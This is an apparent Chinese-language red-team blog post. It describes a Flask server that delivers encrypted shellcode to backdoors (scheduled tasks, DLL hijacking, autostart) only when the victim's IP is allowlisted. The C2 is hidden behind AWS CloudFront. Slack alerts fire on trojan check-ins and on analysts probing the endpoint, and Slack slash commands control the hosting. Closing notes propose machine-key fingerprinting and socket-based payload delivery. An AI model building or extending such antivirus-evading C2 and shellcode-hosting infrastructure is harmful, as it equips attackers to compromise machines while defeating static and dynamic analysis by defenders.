背景需求

不管一个什么形式的后门:定时任务、dll劫持、开机启动…,当我设置的后门运行的时候,我想掌握后门的启动时间、触发IP等上环境,所以这篇文章是在shellcode分离免杀的基础上做了尝试性扩展

考虑这样的场景:

  • 后门被静态分析
  • 后门被动态分析
  • shellcode被提取之后触发

在shellcode分离免杀的基础上扩展还是比较容易的,当客户端请求远程shellcode托管服务器的时候,增加一个机器人,然后发起一个上线通知:If This Then That,这样太简单了,我们再多加点料,比如:

  1. 不带合理参数请求shellcode的URL时候,发起警告
  2. 当木马运行在恶意环境的时候,发起警告
    • 当木马上线IP不在服务端列表
    • 当木马上线主机的设备指纹不在服务端列表
  3. shellcode托管服务随时可以关闭打开
  4. shellcode托管服务随时可以新增删除木马上线IP或者设备指纹

准备材料

  • 一台VPS:托管shellcode,通知slack机器人
  • 一个AWS账号隐藏C2(CloudFront)
  • Slack:接收通知,使用Slash commands功能控制shellcode托管服务
托管shellcode流程

Slack通知

Slash Command

这个点是从TG上社工库跑路得来的思路,当执行任何一个命令的时候,都会发起一个请求到VPS,然后VPS处理请求。
在slack里面增加slach commands:

  • /boot 开启shellcode托管服务
  • /delete 删除IP白名单,/delete ip 127.0.0.1
  • /info 获取托管shellcode服务器的状态
  • /add 增加IP白名单,/add ip 127.0.0.1
  • /shutdown 关闭shellcode托管服务器

大概流程是这样,IP白名单直接使用redis来存储,可以设置一个IP为*的时候,任何IP都能上线。

@app.route('/curd', methods=['POST'])
@verify_check
def add():
    command = request.form["command"]
    text = request.form["text"]
    l = text.split(" ")
    print(get_switch())
    print("The Command is {}".format(command))
    print("The Text is {}".format(text))
    print("db status {}".format(get_agent_status()))
    if command == "/add":
        if l[0] == "ip":
            redis.set("ip_{}".format(l[1]), l[2])
            msg = set_msg("增加 {}成功, 状态: {}\n当前数据库: {}".format(l[1], l[2], get_agent_status()))
            robot(msg)

verify_check是验证请求是否从slack发起的,完整代码:

def verify_check(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            # https://api.slack.com/authentication/verifying-requests-from-slack
            # https://slack.dev/python-slack-sdk/oauth/index.html#app-installation-flow
            # if request.form and request.form['token'] == "":
            slack_signing_secret = 'secret'.encode('utf-8')
            timestamp = request.headers['X-Slack-Request-Timestamp']
            request_body = request.get_data().decode('utf-8')
            # print("request data {}".format(request.get_data()))
            # print(request.values)
            # request_body = urlencode(request.values)
            # print("request data is {}".format(request_body))
            sig_basestring = 'v0:' + timestamp + ':' + request_body
            if abs(time.time() - float(timestamp)) > 60 * 5:
                return abort(404, description="Resource not found")
            my_signature = 'v0=' + hmac.new(
                slack_signing_secret,
                sig_basestring.encode('utf-8'),
                hashlib.sha256
            ).hexdigest()
            slack_signature = request.headers['X-Slack-Signature']
            print(request.headers)
            print(my_signature, slack_signature)
            if hmac.compare_digest(my_signature, slack_signature):
                return f(*args, **kwargs)
            else:
                return abort(404, description="Resource not found")
        except Exception as e:
            return abort(404, description="Resource not found")
    return wrapper

shellcode托管伪代码

@app.route('/i-am-unreachable', methods=["POST", "GET"])
....# 静态分析警告
    if request.headers.getlist("X-Forwarded-For"):
        ip = request.headers.getlist("X-Forwarded-For")[0].split(',')[0]
    else:
        ip = request.remote_addr

    if (not post_validate(v, key)) or request_data == "":
        user_agent = request.headers.get("User-Agent")
        method = request.method
        ...
        ...
    if not get_switch():  # 开关关闭状态
        msg_fail(now, domain, user, ip, c2_info, "服务器托管开关关闭,打开请发送指令: **/boot**")
        return not_found()

    ip_str = "ip_{}".format(ip)
    if check(ip_str):
        shell_str = "shell_{}".format(server)
        msg_success(now, domain, user, ip, c2_info)
        encrypt = encrypt_shell(key, redis.get(shell_str))
        return Response(encrypt, mimetype='text/plain')

遗留问题

  1. 我直接选择IP作为白名单,当IP在白名单,并且shellcode托管开关打开的时候,发送shellcode。深入一点可以使用Machine Key作为判断决策,比如HKLM\SOFTWARE\Microsoft\Cryptography,在木马初次运行的时候发送Key到服务端,之后每次运行的时候都检测是否在服务端的名单里面。
  2. dll可以使用socket分离shellcode,思路和上面一样。socket服务器的隐藏可以选择AWS的ELB(有点贵)类似的加速服务

参考资料

⬆︎TOP